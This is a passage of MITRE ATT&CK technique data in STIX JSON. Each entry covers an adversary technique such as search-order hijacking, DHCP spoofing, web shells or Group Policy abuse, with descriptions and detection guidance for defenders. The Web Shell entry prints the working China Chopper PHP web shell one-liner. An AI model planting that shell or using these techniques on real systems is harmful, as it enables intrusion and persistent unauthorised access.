Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2","type":"attack-pattern","created":"2020-03-13T17:48:58.999Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.008","url":"https://attack.mitre.org/techniques/T1574/008"},{"external_id":"CAPEC-159","source_name":"capec","url":"https://capec.mitre.org/data/definitions/159.html"},{"url":"http://msdn.microsoft.com/en-us/library/ms682425","description":"Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.","source_name":"Microsoft CreateProcess"},{"source_name":"Windows NT Command Shell","url":"https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120","description":"Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014."},{"url":"http://msdn.microsoft.com/en-us/library/ms687393","description":"Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.","source_name":"Microsoft WinExec"},{"source_name":"Microsoft Environment Property","url":"https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN","description":"Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016."}],"modified":"2020-09-17T19:03:35.217Z","name":"Path Interception by Search Order Hijacking","description":"Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","File: File Creation","Process: Process Creation"],"x_mitre_permissions_required":["Administrator","User","SYSTEM"],"x_mitre_effective_permissions":["Administrator","SYSTEM","User"]},{"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b","type":"attack-pattern","created":"2019-04-08T17:51:41.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1491","url":"https://attack.mitre.org/techniques/T1491"}],"modified":"2022-03-25T19:34:42.056Z","name":"Defacement","description":"Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\n","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Application Log: Application Log Content","File: File Creation","File: File Modification"],"x_mitre_impact_type":["Integrity"]},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Netskope"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761","type":"attack-pattern","created":"2019-09-04T14:35:04.617Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1535","url":"https://attack.mitre.org/techniques/T1535"},{"description":"CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.","url":"https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc","source_name":"CloudSploit - Unused AWS Regions"}],"modified":"2021-04-22T16:46:43.876Z","name":"Unused/Unsupported Cloud Regions","description":"Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Instance: Instance Metadata","Instance: Instance Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Alex Spivakovsky, Pentera"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5","created":"2022-03-24T19:30:56.727Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1557.003","url":"https://attack.mitre.org/techniques/T1557/003"},{"source_name":"rfc2131","url":"https://datatracker.ietf.org/doc/html/rfc2131","description":"Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022."},{"source_name":"new_rogue_DHCP_serv_malware","url":"https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/","description":"Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022."},{"source_name":"dhcp_serv_op_events","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)","description":"Microsoft. (2006, August 31).  DHCP Server Operational Events. Retrieved March 7, 2022."},{"source_name":"solution_monitor_dhcp_scopes","url":"https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/","description":"Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved March 7, 2022."},{"source_name":"w32.tidserv.g","url":"https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2","description":"Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e. [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool. ","modified":"2022-04-18T19:59:22.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"DHCP Spoofing","x_mitre_detection":"Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","Application Log: Application Log Content"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1155","url":"https://attack.mitre.org/techniques/T1155"},{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/","description":"Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.","source_name":"Macro Malware Targets Macs"}],"modified":"2020-04-14T13:26:00.846Z","name":"AppleScript","description":"macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5","type":"attack-pattern","created":"2020-02-25T18:26:16.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1563","url":"https://attack.mitre.org/techniques/T1563"},{"url":"https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6","description":"Beaumont, K. (2017, March 19). RDP hijacking — how to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.","source_name":"RDP Hijacking Medium"},{"source_name":"Breach Post-mortem SSH Hijack","url":"https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident","description":"Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020."}],"modified":"2020-03-23T23:35:58.129Z","name":"Remote Service Session Hijacking","description":"Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nMonitor for processes and command-line arguments associated with hijacking service sessions.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","Command: Command Execution","Process: Process Creation","Logon Session: Logon Session Creation"],"x_mitre_permissions_required":["SYSTEM","root"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Martin Jirkal, ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","type":"attack-pattern","created":"2020-02-05T14:04:25.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1027.001","url":"https://attack.mitre.org/techniques/T1027/001"},{"external_id":"CAPEC-572","source_name":"capec","url":"https://capec.mitre.org/data/definitions/572.html"},{"external_id":"CAPEC-655","source_name":"capec","url":"https://capec.mitre.org/data/definitions/655.html"},{"source_name":"ESET OceanLotus","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"},{"source_name":"Securelist Malware Tricks April 2017","url":"https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/","description":"Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019."},{"source_name":"VirusTotal FAQ","url":"https://www.virustotal.com/en/faq/","description":"VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019."}],"modified":"2021-10-15T13:53:02.135Z","name":"Binary Padding","description":"Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool.  When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata"],"x_mitre_defense_bypassed":["Anti-virus","Signature-based detection"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Arnim Rupp, Deutsche Lufthansa AG"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","type":"attack-pattern","created":"2019-12-13T16:46:18.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1505.003","url":"https://attack.mitre.org/techniques/T1505/003"},{"external_id":"CAPEC-650","source_name":"capec","url":"https://capec.mitre.org/data/definitions/650.html"},{"source_name":"Lee 2013","description":"Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.","url":"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"},{"source_name":"NSA Cyber Mitigating Web Shells","url":"https://github.com/nsacyber/Mitigating-Web-Shells","description":" NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021."},{"url":"https://www.us-cert.gov/ncas/alerts/TA15-314A","description":"US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.","source_name":"US-CERT Alert TA15-314A Web Shells"}],"modified":"2021-07-26T13:46:47.993Z","name":"Web Shell","description":"Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \n\n<code>&lt;?php @eval($_POST['password']);&gt;</code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\n\nFile monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\n\nLog authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","Process: Process Creation","Network Traffic: Network Traffic Flow","Application Log: Application Log Content","File: File Creation","Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["SYSTEM","User"],"x_mitre_system_requirements":["Adversary access to Web server with vulnerability or account to upload and serve the Web shell file."]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Itamar Mizrahi, Cymptom","Tristan Bennett, Seamless Intelligence"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","type":"attack-pattern","created":"2020-12-28T21:50:59.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1484.001","url":"https://attack.mitre.org/techniques/T1484/001"},{"source_name":"TechNet Group Policy Basics","url":"https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/","description":"srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019."},{"source_name":"ADSecurity GPO Persistence 2016","url":"https://adsecurity.org/?p=2716","description":"Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019."},{"source_name":"Wald0 Guide to GPOs","url":"https://wald0.com/?p=179","description":"Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019."},{"source_name":"Harmj0y Abusing GPO Permissions","url":"http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/","description":"Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019."},{"source_name":"Mandiant M Trends 2016","url":"https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf","description":"Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019."},{"source_name":"Microsoft Hacking Team Breach","url":"https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/","description":"Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019."},{"source_name":"Harmj0y SeEnableDelegationPrivilege Right","url":"http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/","description":"Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019."}],"modified":"2021-02-09T15:52:24.315Z","name":"Group Policy Modification","description":"Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path <code>\\\\&lt;DOMAIN&gt;\\SYSVOL\\&lt;DOMAIN&gt;\\Policies\\</code>.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),  and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Active Directory: Active Directory Object Modification","Active Directory: Active Directory Object Deletion","Active Directory: Active Directory Object Creation","Command: Command Execution"],"x_mitre_permissions_required":["Administrator","User"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Mike Kemmerer"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1217","external_id":"T1217"}],"modified":"2020-03-26T16:06:07.367Z","name":"Browser Bookmark Discovery","description":"Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","File: File Access","Process: Process Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Itzik Kotler, SafeBreach"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","type":"attack-pattern","created":"2020-02-04T13:06:49.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1552.004","url":"https://attack.mitre.org/techniques/T1552/004"},{"url":"https://en.wikipedia.org/wiki/Public-key_cryptography","description":"Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.","source_name":"Wikipedia Public Key 